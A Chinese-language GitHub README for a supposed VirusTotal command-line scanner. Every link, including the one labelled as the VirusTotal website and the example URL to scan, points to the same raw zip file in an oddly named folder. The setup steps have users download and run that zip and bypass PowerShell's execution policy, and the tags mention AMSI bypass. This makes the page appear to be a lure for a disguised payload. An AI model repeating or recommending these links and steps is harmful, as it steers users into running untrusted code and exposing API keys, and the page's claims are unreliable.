Nunoo11/vt-scanner-cli
GitHub: Nunoo11/vt-scanner-cli
一个基于 VirusTotal API 的命令行扫描工具,帮助用户在终端快速检测文件、文件夹和 URL 的恶意威胁。
Stars: 0 | Forks: 0
# 🛡️ vt-scanner-cli - 快速扫描文件和 URL
[](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)
## 📋 关于 vt-scanner-cli
vt-scanner-cli 是一个命令行工具,可使用 VirusTotal API 第 3 版帮助你检查文件、文件夹和网站是否包含病毒。它运行在 Windows PowerShell 5.1 及以上版本。如果你希望在其它系统上使用,也有 Python 版本,支持 Windows、macOS 和 Linux。
该工具设计简单易用,即使你不熟悉编程也能快速上手。你可以分析任意文件或 URL,查看是否包含恶意软件或威胁。它使用官方的 VirusTotal API,可在多个杀毒引擎中交叉检测数据。
## 🔍 vt-scanner-cli 能做什么
- 扫描单个文件中的病毒和恶意软件。
- 扫描整个文件夹及其内部所有文件。
- 分析 URL 以检查是否指向危险网站。
- 显示带有检测数量的详细结果。
- 无需额外程序即可在 PowerShell 中运行。
- 支持最新的 VirusTotal API 第 3 版。
- 在 Windows 上运行,需要 PowerShell 5.1 或更高版本。
这使它成为一个实用工具,让你在打开可疑数据前进行检查。
## 🖥️ 系统要求
- Windows 7 或更高版本。
- PowerShell 版本 5.1 或更高。(大多数现代 Windows 版本默认已安装。)
- 连接到互联网,以便将文件或 URL 发送到 VirusTotal。
- 来自 VirusTotal 的 API 密钥(可从其网站免费获取)。
- 扫描时大约需要 100 MB 的临时磁盘空间。
你无需安装其他软件。vt-scanner-cli 可直接在 PowerShell 中开箱即用。
## 🚀 快速开始
1. 前往发布页面以下载最新版本:
[下载 vt-scanner-cli](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)
2. 下载适用于 Windows 的最新版本,通常以 zip 文件或脚本文件形式提供。
3. 如需要,解压下载的 zip 文件。
4. 打开 Windows PowerShell。可以在开始菜单中输入 `PowerShell` 并按回车。
5. 导航到保存文件的文件夹,使用命令:
cd C:\Path\To\Folder
6. 运行工具前,需要设置 VirusTotal API 密钥。获取密钥方法:
- 访问 [VirusTotal 网站](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)。
- 创建免费账户。
- 进入个人资料页面找到 API 密钥。
7. 在 PowerShell 会话中设置 API 密钥,运行:
$env:VT_API_KEY="your_api_key_here"
8. 现在你可以运行扫描器了。
## 📥 下载与安装 🔽
要获取 vt-scanner-cli:
1. 访问此页面以下载:
[https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)
2. 查找带有日期或版本号的最新发布版本。
3. 下载名为 `vt-scanner-cli.ps1`(PowerShell 脚本)或包含该脚本的压缩文件夹。
4. 如果下载的是 zip 文件夹,请右键选择“全部提取”以解压。
5. 将文件放在容易找到的文件夹中,例如桌面或文档。
6. 打开 PowerShell 并切换到保存文件的文件夹。
## ⚙️ 使用方法
以下是 PowerShell 中使用的基本命令。
### 扫描单个文件
要扫描一个文件,请运行:
```
.\vt-scanner-cli.ps1 -File "C:\Path\To\Your\File.exe"
```
将 `"C:\Path\To\Your\File.exe"` 替换为实际文件路径。
扫描器将使用 VirusTotal API 分析文件,并显示各杀毒引擎的检测结果。
### 扫描文件夹
要扫描文件夹中的所有文件:
```
.\vt-scanner-cli.ps1 -Folder "C:\Path\To\Your\Folder"
```
该工具会检查文件夹中的所有文件并给出结果摘要。
### 扫描 URL
要检查网站或链接:
```
.\vt-scanner-cli.ps1 -Url "https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip"
```
这会将 URL 与 VirusTotal 数据库进行比对,判断其是否安全。
## 🔧 可用选项
- `-File <路径>`:扫描指定文件。
- `-Folder <路径>`:扫描文件夹中的所有文件。
- `-Url `:扫描指定 URL。
- `-Help`:显示帮助信息。
示例:
```
.\vt-scanner-cli.ps1 -Help
```
## 📄 补充信息
- 该工具使用你的 VirusTotal API 密钥,请勿公开分享。
- 文件会临时上传到 VirusTotal 进行扫描,不会保存在你的电脑上。
- 脚本会显示检测到威胁的杀毒引擎数量。
- 大文件可能需要更长时间扫描。
- 免费 VirusTotal 密钥每分钟的 API 调用次数有限,请合理使用。
## 💡 使用建议
- 保持 PowerShell 更新到 5.1 或更高版本。
- 始终扫描从不可信来源下载的文件。
- 使用文件夹扫描快速检查多个文件。
- 如遇权限问题,请以管理员身份运行 PowerShell。
- 在 VirusTotal 网站上查看 API 密钥状态和限制。
## 🚩 故障排除
如果运行脚本时出现错误:
- 确保你正在运行 PowerShell 5.1 或更高版本。
- 确认 API 密钥正确,并通过 `$env:VT_API_KEY` 设置。
- 检查网络连接。
- 确保文件或文件夹路径正确,如果包含空格请加上引号。
- 如果出现安全警告,可通过运行以下命令临时设置执行策略:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
这将允许脚本仅在当前 PowerShell 会话中运行。
## 🛠️ 支持与更新
该工具是开源的,并在 GitHub 上维护。更新和发布版本可在发布页面找到:
[https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)
请定期检查以获取最新的修复和改进。
## ⚖️ 许可证
vt-scanner-cli 在开放源代码许可下提供。请参考仓库中的 LICENSE 文件,了解你如何使用或共享该代码。
标签:AI合规, AMSI绕过, API v3, IPv6, PowerShell, Python, SEO: VirusTotal, SEO: 命令行安全工具, SEO: 病毒扫描工具, SEO: 跨平台扫描, URL扫描, VirusTotal API, 下载工具, 免费工具, 反病毒引擎, 威胁检测, 文件夹扫描, 文件扫描, 无后门, 病毒扫描, 系统扫描, 终端安全, 网络安全, 自定义DNS解析器, 逆向工具, 隐私保护